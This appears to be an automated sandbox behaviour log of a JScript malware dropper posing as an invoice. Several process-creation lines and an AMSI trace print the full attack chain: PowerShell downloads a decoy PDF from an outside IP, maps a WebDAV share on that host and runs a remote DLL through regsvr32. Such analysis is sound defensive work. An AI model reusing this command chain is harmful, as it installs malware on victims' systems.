Key opened: HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: unknown	Process created: C:\Windows\System32\wscript.exe C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\15410205613216010723.js"
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\1609222332894.dll
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215
Source: unknown	Process created: C:\Windows\System32\svchost.exe C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2128 --field-trial-handle=1644,i,13885196146419999053,7004580303656281746,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\1609222332894.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2128 --field-trial-handle=1644,i,13885196146419999053,7004580303656281746,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior

Source: C:\Windows\System32\wscript.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sxs.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: jscript.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: scrobj.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: scrrun.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: policymanager.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: msvcp110_win.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: pcacli.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: sfc_os.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasapi32.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasman.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rtutils.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: wkscli.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: samcli.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: drprov.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: winsta.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: ntlanman.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: davclnt.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: davhlpr.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: webio.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: qmgr.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: bitsperf.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: powrprof.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: xmllite.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: firewallapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: esent.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: umpdc.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: fwbase.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: flightsettings.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: netprofm.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: npmproxy.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: bitsigd.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: upnp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ssdpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: appxdeploymentclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wsmauto.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: miutils.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wsmsvc.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dsrole.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: pcwum.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wkscli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msv1_0.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ntlmshared.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptdll.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: webio.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: rmclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: usermgrcli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: execmodelclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: twinapi.appcore.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: execmodelproxy.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: resourcepolicyclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: vssapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: vsstrace.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: samcli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: samlib.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: es.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: bitsproxy.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mpr.dll	Jump to behavior

Source: C:\Windows\System32\wscript.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{f414c260-6ac0-11cf-b6d1-00aa00bbbb58}\InprocServer32

Jump to behavior

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File opened: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorrc.dll

Jump to behavior

Data Obfuscation

JScript performs obfuscated calls to suspicious functions

Source: C:\Windows\System32\wscript.exe

Anti Malware Scan Interface: WScript.Shell%22");IHost.CreateObject("WScript.Shell");IHost.Name();IWshShell3._00000000();ITextStream.WriteLine(" exit:38 o:Windows%20Script%20Host f:CreateObject r:");IWshShell3._00000000();ITextStream.WriteLine(" entry:36 o: f:RegRead a0:%22HKEY_CURRENT_USER%5CControl%20Panel%5CInternational%5CLocale%22");IWshShell3.RegRead("HKEY_CURRENT_USER\Control Panel\International\Locale");IHost.CreateObject("Scripting.FileSystemObject");IFileSystem3.CreateTextFile("Z:\syscalls\500.js.csv");ITextStream.WriteLine(" entry:8551 f:orddhn");ITextStream.WriteLine(" exec:2 f:orddhn");IHost.Name();ITextStream.WriteLine(" entry:38 o:Windows%20Script%20Host f:CreateObject a0:%22WScript.Shell%22");IHost.CreateObject("WScript.Shell");IHost.Name();IWshShell3._00000000();ITextStream.WriteLine(" exit:38 o:Windows%20Script%20Host f:CreateObject r:");IWshShell3._00000000();ITextStream.WriteLine(" entry:36 o: f:RegRead a0:%22HKEY_CURRENT_USER%5CControl%20Panel%5CInternational%5CLocale%22");IWshShell3.RegRead("HKEY_CURRENT_USER\Control Panel\International\Locale");IWshShell3._00000000();ITextStream.WriteLine(" exit:36 o: f:RegRead r:%2200000C00%22");ITextStream.WriteLine(" entry:16 o: f:parseInt a0:%2200000C00%22 a1:16");ITextStream.WriteLine(" exit:16 o: f:parseInt r:3072");IHost.Name();ITextStream.WriteLine(" entry:306 o:Windows%20Script%20Host f:CreateObject a0:%22WScript.Shell%22");IHost.CreateObject("WScript.Shell");IHost.Name();IWshShell3._00000000();ITextStream.WriteLine(" exit:306 o:Windows%20Script%20Host f:CreateObject r:");IWshShell3._00000000();ITextStream.WriteLine(" entry:304 o: f:run a0:%22cmd%20%2Fc%20powershell.exe%20-Command%20%22Invoke-WebRequest%20-OutFile%20%25temp%25%5Cinvoice.pdf%20http%3A%2F%2F193.143.1.205%2Finvoice.php%22%26%26start%20%25temp%25%5Cinvoice.pdf%26%26cmd%20%2Fc");IWshShell3.Run("cmd /c powershell.exe -Command "Invoke-WebRequest -OutFile %temp%\invoice.", "0", "false")

Suspicious powershell command line found

Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"			Jump to behavior

Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
